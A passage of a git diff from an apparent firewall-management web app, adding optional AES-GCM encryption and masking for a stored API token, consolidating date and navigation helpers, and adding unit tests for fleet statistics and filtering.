||||
})
|
||||
})
|
||||
@@ -0,0 +1,86 @@
|
||||
import {
|
||||
createCipheriv,
|
||||
createDecipheriv,
|
||||
randomBytes,
|
||||
scryptSync,
|
||||
} from 'node:crypto'
|
||||
|
||||
/**
|
||||
* Optional at-rest encryption for secrets stored in the DB (EvoBGP API
|
||||
* token). Active only when EVOFW_SECRET_KEY is set; without it values are
|
||||
* stored as before (plaintext) so existing deployments keep working.
|
||||
*
|
||||
* Format: enc:v1:<saltB64>:<ivB64>:<tagB64>:<dataB64>, AES-256-GCM with a
|
||||
* scrypt-derived per-value key.
|
||||
*/
|
||||
|
||||
const PREFIX = 'enc:v1:'
|
||||
|
||||
function deriveKey(secret: string, salt: Buffer): Buffer {
|
||||
return scryptSync(secret, salt, 32)
|
||||
}
|
||||
|
||||
export function isEncryptedSecret(value: string): boolean {
|
||||
return value.startsWith(PREFIX)
|
||||
}
|
||||
|
||||
export function encryptSecret(value: string): string {
|
||||
const secret = process.env.EVOFW_SECRET_KEY?.trim()
|
||||
if (!secret || !value || isEncryptedSecret(value)) return value
|
||||
const salt = randomBytes(16)
|
||||
const iv = randomBytes(12)
|
||||
const cipher = createCipheriv('aes-256-gcm', deriveKey(secret, salt), iv)
|
||||
const data = Buffer.concat([cipher.update(value, 'utf8'), cipher.final()])
|
||||
const tag = cipher.getAuthTag()
|
||||
const payload = [salt, iv, tag, data]
|
||||
.map((b) => b.toString('base64'))
|
||||
.join(':')
|
||||
return `${PREFIX}${payload}`
|
||||
}
|
||||
|
||||
/**
|
||||
* Decrypt an encrypted secret; returns plaintext secrets untouched. Returns
|
||||
* null for encrypted values that cannot be decrypted (key missing/rotated)
|
||||
* so callers can treat the secret as unset instead of sending garbage.
|
||||
*/
|
||||
export function decryptSecret(value: string | null | undefined): string | null {
|
||||
if (!value) return null
|
||||
if (!isEncryptedSecret(value)) return value
|
||||
const secret = process.env.EVOFW_SECRET_KEY?.trim()
|
||||
if (!secret) return null
|
||||
const parts = value.split(':')
|
||||
if (parts.length !== 6) return null
|
||||
try {
|
||||
const salt = Buffer.from(parts[2]!, 'base64')
|
||||
const iv = Buffer.from(parts[3]!, 'base64')
|
||||
const tag = Buffer.from(parts[4]!, 'base64')
|
||||
const data = Buffer.from(parts[5]!, 'base64')
|
||||
const decipher = createDecipheriv('aes-256-gcm', deriveKey(secret, salt), iv)
|
||||
decipher.setAuthTag(tag)
|
||||
return Buffer.concat([decipher.update(data), decipher.final()]).toString('utf8')
|
||||
} catch {
|
||||
return null
|
||||
}
|
||||
}
|
||||
|
||||
/** Encrypt secrets inside a list config before persisting it. */
|
||||
export function sealListConfig(config: Record<string, unknown>): string {
|
||||
if (typeof config.api_token === 'string' && config.api_token) {
|
||||
config = { ...config, api_token: encryptSecret(config.api_token) }
|
||||
}
|
||||
return JSON.stringify(config)
|
||||
}
|
||||
|
||||
/** Mask secrets inside a list config before returning it to clients. */
|
||||
export function maskListConfig(configJson: string): string {
|
||||
if (!configJson.includes('api_token')) return configJson
|
||||
try {
|
||||
const config = JSON.parse(configJson) as Record<string, unknown>
|
||||
if (typeof config.api_token === 'string' && config.api_token) {
|
||||
config.api_token = '********'
|
||||
}
|
||||
return JSON.stringify(config)
|
||||
} catch {
|
||||
return configJson
|
||||
}
|
||||
}
|
||||
@@ -15,6 +15,10 @@ const testConfig: AppConfig = {
|
||||
authPortalUrl: 'http://localhost:5175',
|
||||
publicBaseUrl: 'https://fw.example.com',
|
||||
enrollSeed: 'test-seed',
|
||||
corsOrigins: [],
|
||||
authAuditIngestSecret: null,
|
||||
secretKey: null,
|
||||
statsRetentionDays: 30,
|
||||
}
|
||||
|
||||
describe('settings + bumpAgentsForList', () => {
|
||||
|
||||
Whitespace-only changes.
@@ -7,6 +7,7 @@
|
||||
"dev": "vite",
|
||||
"build": "vite build",
|
||||
"typecheck": "tsc --noEmit",
|
||||
"test": "vitest run",
|
||||
"preview": "vite preview"
|
||||
},
|
||||
"dependencies": {
|
||||
|
||||
@@ -19,6 +19,7 @@ import { DataGridTable } from '@/components/reui/data-grid/data-grid-table'
|
||||
import { EmptyState } from '@/components/empty-state'
|
||||
import { agentBlockedIpsQueryOptions } from '@/queries'
|
||||
import { Skeleton } from '@evofw/ui/components/skeleton'
|
||||
import { formatNumber, formatStampDateTime } from '@/lib/format'
|
||||
|
||||
/**
|
||||
* Per-IP blocked stats — Linux nft/ipset counters or MikroTik EVOFW_HITS.
|
||||
@@ -45,21 +46,6 @@ type AgentBlockedIpsProps = {
|
||||
platform: string
|
||||
}
|
||||
|
||||
const packetFmt = new Intl.NumberFormat('ru-RU')
|
||||
const seenFmt = new Intl.DateTimeFormat('ru-RU', {
|
||||
day: '2-digit',
|
||||
month: '2-digit',
|
||||
year: 'numeric',
|
||||
hour: '2-digit',
|
||||
minute: '2-digit',
|
||||
second: '2-digit',
|
||||
})
|
||||
|
||||
function formatSeen(iso: string): string {
|
||||
const t = Date.parse(iso)
|
||||
if (Number.isNaN(t)) return '—'
|
||||
return seenFmt.format(t)
|
||||
}
|
||||
|
||||
function formatPorts(ports: BlockedIpPort[] | undefined): string {
|
||||
if (!ports?.length) return '—'
|
||||
@@ -99,7 +85,7 @@ export function AgentBlockedIps({ agentId, platform }: AgentBlockedIpsProps) {
|
||||
),
|
||||
cell: ({ row }) => (
|
||||
<span className="tabular-nums">
|
||||
{packetFmt.format(row.original.packets)}
|
||||
{formatNumber(row.original.packets)}
|
||||
</span>
|
||||
),
|
||||
meta: { headerTitle: packetsTitle },
|
||||
@@ -128,7 +114,7 @@ export function AgentBlockedIps({ agentId, platform }: AgentBlockedIpsProps) {
|
||||
),
|
||||
cell: ({ row }) => (
|
||||
<span className="text-muted-foreground text-xs tabular-nums">
|
||||
{formatSeen(row.original.last_seen_at)}
|
||||
{formatStampDateTime(row.original.last_seen_at)}
|
||||
</span>
|
||||
),
|
||||
meta: { headerTitle: 'Last seen' },
|
||||
|
||||
@@ -19,6 +19,7 @@ import { DataGridTable } from '@/components/reui/data-grid/data-grid-table'
|
||||
import { EmptyState } from '@/components/empty-state'
|
||||
import { agentBlockedPortsQueryOptions } from '@/queries'
|
||||
import { Skeleton } from '@evofw/ui/components/skeleton'
|
||||
import { formatNumber, formatStampDateTime } from '@/lib/format'
|
||||
|
||||
/**
|
||||
* Aggregate destination ports hit by denied sources (Linux nft).
|
||||
@@ -37,21 +38,6 @@ type AgentBlockedPortsProps = {
|
||||
agentId: string
|
||||
}
|
||||
|
||||
const packetFmt = new Intl.NumberFormat('ru-RU')
|
||||
const seenFmt = new Intl.DateTimeFormat('ru-RU', {
|
||||
day: '2-digit',
|
||||
month: '2-digit',
|
||||
year: 'numeric',
|
||||
hour: '2-digit',
|
||||
minute: '2-digit',
|
||||
second: '2-digit',
|
||||
})
|
||||
|
||||
function formatSeen(iso: string): string {
|
||||
const t = Date.parse(iso)
|
||||
if (Number.isNaN(t)) return '—'
|
||||
return seenFmt.format(t)
|
||||
}
|
||||
|
||||
export function AgentBlockedPorts({ agentId }: AgentBlockedPortsProps) {
|
||||
const q = useQuery(agentBlockedPortsQueryOptions(agentId))
|
||||
@@ -92,7 +78,7 @@ export function AgentBlockedPorts({ agentId }: AgentBlockedPortsProps) {
|
||||
),
|
||||
cell: ({ row }) => (
|
||||
<span className="tabular-nums">
|
||||
{packetFmt.format(row.original.packets)}
|
||||
{formatNumber(row.original.packets)}
|
||||
</span>
|
||||
),
|
||||
meta: { headerTitle: 'Packets' },
|
||||
@@ -105,7 +91,7 @@ export function AgentBlockedPorts({ agentId }: AgentBlockedPortsProps) {
|
||||
),
|
||||
cell: ({ row }) => (
|
||||
<span className="text-muted-foreground text-xs tabular-nums">
|
||||
{formatSeen(row.original.last_seen_at)}
|
||||
{formatStampDateTime(row.original.last_seen_at)}
|
||||
</span>
|
||||
),
|
||||
meta: { headerTitle: 'Last seen' },
|
||||
|
||||
@@ -21,36 +21,13 @@ import {
|
||||
} from '@evofw/ui/components/item'
|
||||
import { Separator } from '@evofw/ui/components/separator'
|
||||
import { cn } from '@evofw/ui/lib/utils'
|
||||
import { formatPackets, formatShortDateTime } from '@/lib/format'
|
||||
|
||||
/**
|
||||
* Agent catalog card — hybrid card-3 header + stats strip + stats-12 values.
|
||||
* Preview: https://reui.io/preview/base/card-3 · https://reui.io/preview/base/stats-12
|
||||
*/
|
||||
|
||||
const packetFmt = new Intl.NumberFormat('ru-RU', {
|
||||
notation: 'compact',
|
||||
maximumFractionDigits: 1,
|
||||
})
|
||||
|
||||
const seenFmt = new Intl.DateTimeFormat('ru-RU', {
|
||||
day: '2-digit',
|
||||
month: '2-digit',
|
||||
hour: '2-digit',
|
||||
minute: '2-digit',
|
||||
})
|
||||
|
||||
function formatPackets(n: number | undefined, hasApply: boolean): string {
|
||||
if (!hasApply || n === undefined) return '—'
|
||||
return packetFmt.format(n)
|
||||
}
|
||||
|
||||
function formatShort(iso: string | null | undefined): string {
|
||||
if (!iso) return '—'
|
||||
const t = Date.parse(iso)
|
||||
if (Number.isNaN(t)) return '—'
|
||||
return seenFmt.format(t)
|
||||
}
|
||||
|
||||
type AgentCardProps = {
|
||||
agent: Agent
|
||||
selected?: boolean
|
||||
@@ -65,13 +42,13 @@ export function AgentCard({
|
||||
onDelete,
|
||||
}: AgentCardProps) {
|
||||
const hasApply = agentHasTrafficSample(agent)
|
||||
const dropped = formatPackets(agentTrafficDropped(agent), hasApply)
|
||||
const accepted = formatPackets(agentTrafficAccepted(agent), hasApply)
|
||||
const dropped = hasApply ? formatPackets(agentTrafficDropped(agent)) : '—'
|
||||
const accepted = hasApply ? formatPackets(agentTrafficAccepted(agent)) : '—'
|
||||
const traffic =
|
||||
dropped === '—' && accepted === '—'
|
||||
? '—'
|
||||
: `↓${dropped} · ↑${accepted}`
|
||||
const seen = formatShort(agent.last_seen_at ?? agent.last_apply_at)
|
||||
const seen = formatShortDateTime(agent.last_seen_at ?? agent.last_apply_at)
|
||||
const defaultAction =
|
||||
agent.default_action === 'drop' ? 'Drop' : 'Accept'
|
||||
const subtitle = [
|
||||
|
||||
@@ -18,6 +18,7 @@ import {
|
||||
SelectValue,
|
||||
} from '@evofw/ui/components/select'
|
||||
import { Separator } from '@evofw/ui/components/separator'
|
||||
import { formatDateTime } from '@/lib/format'
|
||||
|
||||
/**
|
||||
* Agent facts panel — SA3 RunFacts DNA (editable default_action).
|
||||
@@ -31,9 +32,7 @@ type AgentFactsPanelProps = {
|
||||
|
||||
function formatWhen(iso?: string | null): string {
|
||||
if (!iso) return '—'
|
||||
const d = new Date(iso)
|
||||
if (Number.isNaN(d.getTime())) return iso
|
||||
return d.toLocaleString('ru-RU')
|
||||
return formatDateTime(iso)
|
||||
}
|
||||
|
||||
export function AgentFactsPanel({ agent }: AgentFactsPanelProps) {
|
||||
|
||||
@@ -26,6 +26,7 @@ import {
|
||||
TooltipContent,
|
||||
TooltipTrigger,
|
||||
} from '@evofw/ui/components/tooltip'
|
||||
import { formatPackets, formatShortDateTime } from '@/lib/format'
|
||||
|
||||
/**
|
||||
* Fleet triage DataGrid — firewall ops density.
|
||||
@@ -34,30 +35,6 @@ import {
|
||||
* · https://reui.io/preview/base/solution-agents-1
|
||||
*/
|
||||
|
||||
const packetFmt = new Intl.NumberFormat('ru-RU', {
|
||||
notation: 'compact',
|
||||
maximumFractionDigits: 1,
|
||||
})
|
||||
|
||||
const seenFmt = new Intl.DateTimeFormat('ru-RU', {
|
||||
day: '2-digit',
|
||||
month: '2-digit',
|
||||
hour: '2-digit',
|
||||
minute: '2-digit',
|
||||
})
|
||||
|
||||
function formatPackets(n: number | undefined, hasApply: boolean): string {
|
||||
if (!hasApply || n === undefined) return '—'
|
||||
return packetFmt.format(n)
|
||||
}
|
||||
|
||||
function formatAgentSeen(iso: string | null | undefined): string {
|
||||
if (!iso) return '—'
|
||||
const t = Date.parse(iso)
|
||||
if (Number.isNaN(t)) return '—'
|
||||
return seenFmt.format(t)
|
||||
}
|
||||
|
||||
export type AgentFleetDataGridProps = {
|
||||
data: Agent[]
|
||||
filterFields: FilterFieldConfig[]
|
||||
@@ -231,8 +208,8 @@ export function AgentFleetDataGrid({
|
||||
cell: ({ row }) => {
|
||||
const a = row.original
|
||||
const hasApply = agentHasTrafficSample(a)
|
||||
const dropped = formatPackets(agentTrafficDropped(a), hasApply)
|
||||
const accepted = formatPackets(agentTrafficAccepted(a), hasApply)
|
||||
const dropped = hasApply ? formatPackets(agentTrafficDropped(a)) : '—'
|
||||
const accepted = hasApply ? formatPackets(agentTrafficAccepted(a)) : '—'
|
||||
if (dropped === '—' && accepted === '—') {
|
||||
return <DataGridMutedCell>—</DataGridMutedCell>
|
||||
}
|
||||
@@ -255,7 +232,7 @@ export function AgentFleetDataGrid({
|
||||
),
|
||||
cell: ({ row }) => {
|
||||
const a = row.original
|
||||
const short = formatAgentSeen(a.last_seen_at)
|
||||
const short = formatShortDateTime(a.last_seen_at)
|
||||
if (!a.last_seen_at || short === '—') {
|
||||
return <DataGridMutedCell>—</DataGridMutedCell>
|
||||
}
|
||||
|
||||
@@ -33,6 +33,7 @@ import {
|
||||
SelectValue,
|
||||
} from '@evofw/ui/components/select'
|
||||
import { TabsContent } from '@evofw/ui/components/tabs'
|
||||
import { formatDateTime } from '@/lib/format'
|
||||
|
||||
/**
|
||||
* Observed host firewall + listeners (Linux).
|
||||
@@ -229,7 +230,7 @@ export function AgentHostFirewall({ agentId }: AgentHostFirewallProps) {
|
||||
<FrameDescription>
|
||||
Снимок nft/iptables/ufw/firewalld + listeners. EvoFW vs foreign.
|
||||
{q.data?.collected_at
|
||||
? ` Обновлено: ${new Date(q.data.collected_at).toLocaleString('ru-RU')}`
|
||||
? ` Обновлено: ${formatDateTime(q.data.collected_at)}`
|
||||
: ' Пока нет снимка — дождитесь sync агента.'}
|
||||
</FrameDescription>
|
||||
</FrameHeader>
|
||||
|
||||
@@ -16,6 +16,7 @@ import {
|
||||
FramePanel,
|
||||
FrameTitle,
|
||||
} from '@/components/reui/frame'
|
||||
import { formatDateTime } from '@/lib/format'
|
||||
|
||||
/**
|
||||
* Agent lifecycle timeline.
|
||||
@@ -32,9 +33,7 @@ type Step = {
|
||||
|
||||
function formatWhen(iso?: string | null): string | undefined {
|
||||
if (!iso) return undefined
|
||||
const d = new Date(iso)
|
||||
if (Number.isNaN(d.getTime())) return iso
|
||||
return d.toLocaleString('ru-RU')
|
||||
return formatDateTime(iso)
|
||||
}
|
||||
|
||||
export function AgentLifecycleTimeline({ agent }: { agent: Agent }) {
|
||||
|
||||
@@ -0,0 +1,82 @@
|
||||
import { describe, it, expect } from 'vitest'
|
||||
import { isAgentStale, computeFleetCounts } from './agents-fleet-kpis'
|
||||
import type { Agent } from '@evofw/shared'
|
||||
|
||||
function agent(patch: Partial<Agent>): Agent {
|
||||
return {
|
||||
id: 'a1',
|
||||
name: 'a',
|
||||
hostname: null,
|
||||
platform: 'linux',
|
||||
token_prefix: 'x',
|
||||
status: 'approved',
|
||||
default_action: 'accept',
|
||||
policy_mode: 'blacklist',
|
||||
policy_generation: 1,
|
||||
last_seen_at: null,
|
||||
last_seen_ip: null,
|
||||
last_apply_at: null,
|
||||
last_apply_status: null,
|
||||
last_apply_error: null,
|
||||
last_apply_prefix_count: null,
|
||||
last_apply_packets_dropped: null,
|
||||
last_apply_packets_accepted: null,
|
||||
total_packets_dropped: 0,
|
||||
total_packets_accepted: 0,
|
||||
last_apply_kernel_method: null,
|
||||
client_version: null,
|
||||
created_at: '2026-01-01T00:00:00Z',
|
||||
approved_at: null,
|
||||
revoked_at: null,
|
||||
install_curl: null,
|
||||
install_link_id: null,
|
||||
...patch,
|
||||
} as Agent
|
||||
}
|
||||
|
||||
describe('agents-fleet-kpis', () => {
|
||||
it('stale = approved + unseen or seen >24h ago; never for pending', () => {
|
||||
const now = Date.parse('2026-09-20T12:00:00Z')
|
||||
expect(isAgentStale(agent({ last_seen_at: null }), now)).toBe(true)
|
||||
expect(
|
||||
isAgentStale(agent({ last_seen_at: '2026-09-20T11:00:00Z' }), now),
|
||||
).toBe(false)
|
||||
expect(
|
||||
isAgentStale(agent({ last_seen_at: '2026-09-19T11:00:00Z' }), now),
|
||||
).toBe(true)
|
||||
expect(
|
||||
isAgentStale(
|
||||
agent({ status: 'pending', last_seen_at: null }),
|
||||
now,
|
||||
),
|
||||
).toBe(false)
|
||||
expect(
|
||||
isAgentStale(agent({ last_seen_at: 'garbage' }), now),
|
||||
).toBe(true)
|
||||
})
|
||||
|
||||
it('computeFleetCounts tallies statuses, stale and apply errors', () => {
|
||||
const now = Date.now()
|
||||
const counts = computeFleetCounts([
|
||||
agent({ id: '1', status: 'pending' }),
|
||||
agent({ id: '2', status: 'invited' }),
|
||||
agent({ id: '3', status: 'revoked' }),
|
||||
agent({ id: '4', last_seen_at: new Date(now).toISOString() }),
|
||||
agent({
|
||||
id: '5',
|
||||
last_seen_at: new Date(now - 25 * 3600_000).toISOString(),
|
||||
}),
|
||||
agent({
|
||||
id: '6',
|
||||
last_seen_at: new Date(now).toISOString(),
|
||||
last_apply_error: 'boom',
|
||||
}),
|
||||
])
|
||||
expect(counts.pending).toBe(1)
|
||||
expect(counts.invited).toBe(1)
|
||||
expect(counts.revoked).toBe(1)
|
||||
expect(counts.approved).toBe(3)
|
||||
expect(counts.stale).toBe(1)
|
||||
expect(counts.applyErrors).toBe(1)
|
||||
})
|
||||
})
|
||||
@@ -1,14 +1,7 @@
|
||||
import { Link, useRouterState } from '@tanstack/react-router'
|
||||
import {
|
||||
LayoutDashboardIcon,
|
||||
ServerIcon,
|
||||
ListIcon,
|
||||
ShieldIcon,
|
||||
BarChart3Icon,
|
||||
SettingsIcon,
|
||||
} from 'lucide-react'
|
||||
import { AppSwitcher } from '@/components/app-switcher'
|
||||
import { NavUser } from '@/components/layout/nav-user'
|
||||
import { NAV_SECTIONS, navItemsForSection, type NavItem } from '@/lib/nav'
|
||||
import {
|
||||
Sidebar,
|
||||
SidebarContent,
|
||||
@@ -22,22 +15,7 @@ import {
|
||||
SidebarMenuItem,
|
||||
} from '@evofw/ui/components/sidebar'
|
||||
|
||||
const overviewNav = [
|
||||
{ to: '/', label: 'Панель управления', icon: LayoutDashboardIcon, exact: true },
|
||||
] as const
|
||||
|
||||
const opsNav = [
|
||||
{ to: '/agents', label: 'Агенты', icon: ServerIcon, exact: false },
|
||||
{ to: '/lists', label: 'Списки', icon: ListIcon, exact: false },
|
||||
{ to: '/rules', label: 'Наборы правил', icon: ShieldIcon, exact: false },
|
||||
{ to: '/stats', label: 'Статистика', icon: BarChart3Icon, exact: false },
|
||||
] as const
|
||||
|
||||
const systemNav = [
|
||||
{ to: '/settings', label: 'Настройки', icon: SettingsIcon, exact: false },
|
||||
] as const
|
||||
|
||||
function isNavActive(pathname: string, to: string, exact: boolean) {
|
||||
function isNavActive(pathname: string, to: string, exact?: boolean) {
|
||||
if (exact) return pathname === to
|
||||
return pathname === to || pathname.startsWith(`${to}/`)
|
||||
}
|
||||
@@ -48,12 +26,7 @@ function NavSection({
|
||||
pathname,
|
||||
}: {
|
||||
label: string
|
||||
items: readonly {
|
||||
to: string
|
||||
label: string
|
||||
icon: typeof ServerIcon
|
||||
exact: boolean
|
||||
}[]
|
||||
items: readonly NavItem[]
|
||||
pathname: string
|
||||
}) {
|
||||
return (
|
||||
@@ -90,12 +63,18 @@ export function AppSidebar() {
|
||||
<AppSwitcher />
|
||||
</SidebarHeader>
|
||||
<SidebarContent>
|
||||
<NavSection label="Обзор" items={overviewNav} pathname={pathname} />
|
||||
<NavSection label="Операции" items={opsNav} pathname={pathname} />
|
||||
<NavSection label="Система" items={systemNav} pathname={pathname} />
|
||||
{NAV_SECTIONS.map((section) => (
|
||||
<NavSection
|
||||
key={section.id}
|
||||
label={section.label}
|
||||
items={navItemsForSection(section.id)}
|
||||
pathname={pathname}
|
||||
/>
|
||||
))}
|
||||
</SidebarContent>
|
||||
<SidebarFooter>
|
||||
<NavUser />
|
||||
</SidebarFooter> </Sidebar>
|
||||
</SidebarFooter>
|
||||
</Sidebar>
|
||||
)
|
||||
}
|
||||
@@ -1,14 +1,7 @@
|
||||
import { useEffect, useId, useMemo, useState } from 'react'
|
||||
import { Link, useNavigate } from '@tanstack/react-router'
|
||||
import {
|
||||
BarChart3Icon,
|
||||
LayoutDashboardIcon,
|
||||
ListIcon,
|
||||
SearchIcon,
|
||||
ServerIcon,
|
||||
SettingsIcon,
|
||||
ShieldIcon,
|
||||
} from 'lucide-react'
|
||||
import { SearchIcon } from 'lucide-react'
|
||||
import { NAV_ITEMS } from '@/lib/nav'
|
||||
import { Button } from '@evofw/ui/components/button'
|
||||
import {
|
||||
Dialog,
|
||||
@@ -26,45 +19,6 @@ import {
|
||||
ItemTitle,
|
||||
} from '@evofw/ui/components/item'
|
||||
|
||||
const NAV_ITEMS = [
|
||||
{
|
||||
to: '/',
|
||||
label: 'Панель управления',
|
||||
keywords: ['dashboard', 'панель', 'обзор'],
|
||||
icon: LayoutDashboardIcon,
|
||||
},
|
||||
{
|
||||
to: '/agents',
|
||||
label: 'Агенты',
|
||||
keywords: ['agents', 'агенты', 'nodes'],
|
||||
icon: ServerIcon,
|
||||
},
|
||||
{
|
||||
to: '/lists',
|
||||
label: 'Списки IP',
|
||||
keywords: ['lists', 'списки', 'blocklist'],
|
||||
icon: ListIcon,
|
||||
},
|
||||
{
|
||||
to: '/rules',
|
||||
label: 'Наборы правил',
|
||||
keywords: ['rules', 'правила', 'policy', 'наборы', 'sets'],
|
||||
icon: ShieldIcon,
|
||||
},
|
||||
{
|
||||
to: '/stats',
|
||||
label: 'Статистика',
|
||||
keywords: ['stats', 'статистика', 'packets'],
|
||||
icon: BarChart3Icon,
|
||||
},
|
||||
{
|
||||
to: '/settings',
|
||||
label: 'Настройки',
|
||||
keywords: ['settings', 'настройки'],
|
||||
icon: SettingsIcon,
|
||||
},
|
||||
] as const
|
||||
|
||||
/** Command-K search — hotkey dialog (no header chrome trigger). */
|
||||
export function SearchMenu({ hotkeyOnly = false }: { hotkeyOnly?: boolean }) {
|
||||
const [open, setOpen] = useState(false)
|
||||
|
||||
@@ -12,55 +12,41 @@ import { Separator } from '@evofw/ui/components/separator'
|
||||
import { SystemMonitorPopover } from '@/components/layout/system-monitor-popover'
|
||||
import { AppsMenu } from '@/components/layout/apps-menu'
|
||||
import { SidebarTrigger } from '@evofw/ui/components/sidebar'
|
||||
import { navLabel, navParentForDetail } from '@/lib/nav'
|
||||
|
||||
export interface RouteBreadcrumbLoaderData {
|
||||
breadcrumb?: string
|
||||
}
|
||||
|
||||
const routeTitles: Record<string, string> = {
|
||||
'/': 'Панель управления',
|
||||
'/agents': 'Агенты',
|
||||
'/lists': 'Списки',
|
||||
'/rules': 'Наборы правил',
|
||||
'/stats': 'Статистика',
|
||||
'/settings': 'Настройки',
|
||||
}
|
||||
|
||||
function getBreadcrumbs(
|
||||
pathname: string,
|
||||
dynamicLabels: Record<string, string>,
|
||||
) {
|
||||
if (pathname === '/') {
|
||||
return [{ label: 'Панель управления', href: '/' }]
|
||||
return [{ label: navLabel('/') ?? 'Панель управления', href: '/' }]
|
||||
}
|
||||
|
||||
if (pathname.match(/^\/agents\/[^/]+$/)) {
|
||||
const parentTo = navParentForDetail(pathname)
|
||||
if (parentTo) {
|
||||
const parentLabel = navLabel(parentTo)
|
||||
const fallback =
|
||||
parentTo === '/agents'
|
||||
? 'Агент'
|
||||
: parentTo === '/lists'
|
||||
? 'Список'
|
||||
: 'Набор'
|
||||
return [
|
||||
{ label: 'Агенты', href: '/agents' },
|
||||
{ label: dynamicLabels[pathname] ?? 'Агент', href: pathname },
|
||||
{ label: parentLabel ?? parentTo, href: parentTo },
|
||||
{ label: dynamicLabels[pathname] ?? fallback, href: pathname },
|
||||
]
|
||||
}
|
||||
|
||||
if (pathname.match(/^\/rules\/[^/]+$/)) {
|
||||
return [
|
||||
{ label: 'Наборы правил', href: '/rules' },
|
||||
{ label: dynamicLabels[pathname] ?? 'Набор', href: pathname },
|
||||
]
|
||||
}
|
||||
|
||||
if (pathname.match(/^\/lists\/[^/]+$/)) {
|
||||
return [
|
||||
{ label: 'Списки', href: '/lists' },
|
||||
{ label: dynamicLabels[pathname] ?? 'Список', href: pathname },
|
||||
]
|
||||
}
|
||||
|
||||
const title = routeTitles[pathname]
|
||||
const title = navLabel(pathname)
|
||||
if (title) {
|
||||
return [{ label: title, href: pathname }]
|
||||
}
|
||||
|
||||
return [{ label: 'Панель управления', href: '/' }]
|
||||
return [{ label: navLabel('/') ?? 'Панель управления', href: '/' }]
|
||||
}
|
||||
|
||||
function useDynamicBreadcrumbLabels() {
|
||||
|
||||
@@ -1,6 +1,7 @@
|
||||
import { useMemo, type CSSProperties, type ReactNode } from 'react'
|
||||
import { useQuery } from '@tanstack/react-query'
|
||||
import { Activity, HeartPulse, List, Server, Shield } from 'lucide-react'
|
||||
import { formatTime } from '@/lib/format'
|
||||
|
||||
import { Badge } from '@/components/reui/badge'
|
||||
import { cn } from '@evofw/ui/lib/utils'
|
||||
@@ -201,7 +202,7 @@ export function SystemMonitorPopover() {
|
||||
Монитор EvoFirewall
|
||||
</span>
|
||||
<span className="text-muted-foreground text-[11px] tabular-nums">
|
||||
{new Date().toLocaleTimeString('ru-RU')}
|
||||
{formatTime(new Date())}
|
||||
</span>
|
||||
</div>
|
||||
<div className="grid grid-cols-2">
|
||||
|
||||
@@ -10,6 +10,7 @@ import { StatusBadge } from '@/components/status-badge'
|
||||
import { ListTypeIcon } from '@/components/lists/list-type-icon'
|
||||
import { Button } from '@evofw/ui/components/button'
|
||||
import { isManualListType, type IpList } from '@evofw/shared'
|
||||
import { formatDateTime } from '@/lib/format'
|
||||
|
||||
export const LIST_TABS = [
|
||||
{ id: 'all', label: 'Все' },
|
||||
@@ -67,7 +68,7 @@ export function createListColumns(opts: {
|
||||
row.original.last_error
|
||||
? 'Ошибка обновления'
|
||||
: row.original.refreshed_at
|
||||
? `Обновлён ${new Date(row.original.refreshed_at).toLocaleString('ru-RU')}`
|
||||
? `Обновлён ${formatDateTime(row.original.refreshed_at)}`
|
||||
: undefined
|
||||
}
|
||||
/>
|
||||
@@ -102,7 +103,7 @@ export function createListColumns(opts: {
|
||||
cell: ({ row }) => (
|
||||
<DataGridMutedCell>
|
||||
{row.original.updated_at
|
||||
? new Date(row.original.updated_at).toLocaleString('ru-RU')
|
||||
? formatDateTime(row.original.updated_at)
|
||||
: '—'}
|
||||
</DataGridMutedCell>
|
||||
),
|
||||
|
||||
@@ -0,0 +1,80 @@
|
||||
import { describe, it, expect } from 'vitest'
|
||||
import {
|
||||
getActiveFilters,
|
||||
applyFiltersToData,
|
||||
} from '@/components/reui-kit/filter-utils'
|
||||
|
||||
type Row = { name: string; status: string }
|
||||
|
||||
const rows: Row[] = [
|
||||
{ name: 'web-01', status: 'approved' },
|
||||
{ name: 'db-01', status: 'pending' },
|
||||
{ name: 'mt-01', status: 'revoked' },
|
||||
]
|
||||
|
||||
const field = (item: Row, f: string) =>
|
||||
f === 'name' ? item.name : f === 'status' ? item.status : undefined
|
||||
|
||||
describe('filter-utils', () => {
|
||||
it('getActiveFilters drops empty filters', () => {
|
||||
const active = getActiveFilters([
|
||||
{ id: '1', field: 'status', operator: 'is', values: ['approved'] },
|
||||
{ id: '2', field: 'name', operator: 'contains', values: [''] },
|
||||
{ id: '3', field: 'x', operator: 'is', values: [] },
|
||||
{ id: '4', field: 'x', operator: 'is', values: [null, undefined] },
|
||||
])
|
||||
expect(active.map((f) => f.id)).toEqual(['1'])
|
||||
})
|
||||
|
||||
it('applies is / is_not / is_any_of operators', () => {
|
||||
expect(
|
||||
applyFiltersToData(
|
||||
rows,
|
||||
[{ id: '1', field: 'status', operator: 'is', values: ['pending'] }],
|
||||
field,
|
||||
),
|
||||
).toEqual([rows[1]])
|
||||
|
||||
expect(
|
||||
applyFiltersToData(
|
||||
rows,
|
||||
[
|
||||
{
|
||||
id: '1',
|
||||
field: 'status',
|
||||
operator: 'is_any_of',
|
||||
values: ['pending', 'revoked'],
|
||||
},
|
||||
],
|
||||
field,
|
||||
),
|
||||
).toEqual([rows[1], rows[2]])
|
||||
|
||||
expect(
|
||||
applyFiltersToData(
|
||||
rows,
|
||||
[
|
||||
{
|
||||
id: '1',
|
||||
field: 'status',
|
||||
operator: 'is_not',
|
||||
values: ['revoked'],
|
||||
},
|
||||
],
|
||||
field,
|
||||
),
|
||||
).toEqual([rows[0], rows[1]])
|
||||
})
|
||||
|
||||
it('combines multiple filters with AND', () => {
|
||||
const out = applyFiltersToData(
|
||||
rows,
|
||||
[
|
||||
{ id: '1', field: 'status', operator: 'is', values: ['approved'] },
|
||||
{ id: '2', field: 'name', operator: 'contains', values: ['web'] },
|
||||
],
|
||||
field,
|
||||
)
|
||||
expect(out).toEqual([rows[0]])
|
||||
})
|
||||
})
|
||||
@@ -22,7 +22,6 @@ export {
|
||||
export { QuickActionGrid, type QuickActionItem } from './quick-action-grid'
|
||||
export { OpsDashboard } from './ops-dashboard'
|
||||
export { DetailPanel, type DetailMetricCard } from './detail-panel'
|
||||
export { SettingsShell, type SettingsTabConfig } from './settings-shell'
|
||||
|
||||
export { PageShell } from '@/components/page-shell'
|
||||
export { PageHeader } from '@/components/page-header'
|
||||
|
||||
@@ -1,89 +0,0 @@
|
||||
import type { ReactNode } from 'react'
|
||||
import { Link, Outlet, useRouterState } from '@tanstack/react-router'
|
||||
|
||||
import { useIsMobile } from '@evofw/ui/hooks/use-mobile'
|
||||
import { cn } from '@evofw/ui/lib/utils'
|
||||
import { PageShell } from '@/components/page-shell'
|
||||
import { PageHeader } from '@/components/page-header'
|
||||
|
||||
/**
|
||||
